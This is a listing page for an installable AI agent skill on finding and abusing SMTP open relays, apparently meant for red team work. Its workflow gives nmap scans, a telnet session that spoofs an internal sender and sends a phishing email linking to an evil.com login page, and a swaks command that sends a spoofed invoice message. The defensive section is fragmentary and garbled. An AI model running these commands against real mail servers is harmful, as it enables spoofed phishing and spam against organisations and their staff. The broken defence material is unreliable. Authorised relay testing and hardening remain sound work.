Smtp open relay abuse
Skill ShulkwiSEC/bb-huge/skills/curated/smtp-open-relay-abuse
Identify and exploit SMTP Open Relays. This skill teaches how to test mail servers to determine if they process email delivery regardless of the sender or recipient domain, enabling attackers to spoof internal addresses and bypass basic anti-phishing controls.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill smtp-open-relay-abuseAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
4.2 KB, 896 tokens by cl100k_base, as published. Nobody here has run it
SMTP Open Relay Abuse
When to Use
- When auditing an organization's network perimeter and discovering exposed SMTP services (port 25, 465, 587).
- To demonstrate how misconfigured mail servers can be leveraged for anonymized spamming or highly effective, internally-spoofed phishing campaigns during a Red Team engagement.
Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations
Workflow
Phase 1: Identifying Open SMTP Ports
# nmap -p 25,465,587 --open -sV IP_ADDRESS
# nmap -p 25 --script smtp-open-relay IP_ADDRESS
Phase 2: Manual Verification via Telnet
# telnet IP_ADDRESS 25
# HELO attacker.local
# MAIL FROM:<[email protected]>
# RCPT TO:<[email protected]>
# DATA
Subject: Critical IT Update
From: [email protected]
To: [email protected]
Please click the following link to secure your account: http://evil.com/login
.
# QUIT
Phase 3: Automated Exploitation using SWAKS
# swaks --to [email protected] --from [email protected] --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"
Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses
# ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Connect SMTP ] --> B{Accepts RCPT ]}
B -->|Yes| C[Open Relay ]
B -->|No| D[Check Auth ]
C --> E[Send Phish gently ]
🔵 Blue Team Detection & Defense
- Require Authentication: Network Filtering (Firewalls): Domain Verification (SPF/DKIM/DMARC): Key Concepts | Concept | Description | |---------|-------------|
Output Format
Smtp Open Relay Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- OWASP: Testing for SMTP Open Relay
- Nmap Script: smtp-open-relay
What ships with it: 2 files
8.3 KB alongside SKILL.md, 1 of them executable
evals/
- evals.json528 B
scripts/
- process.pyruns7.8 KB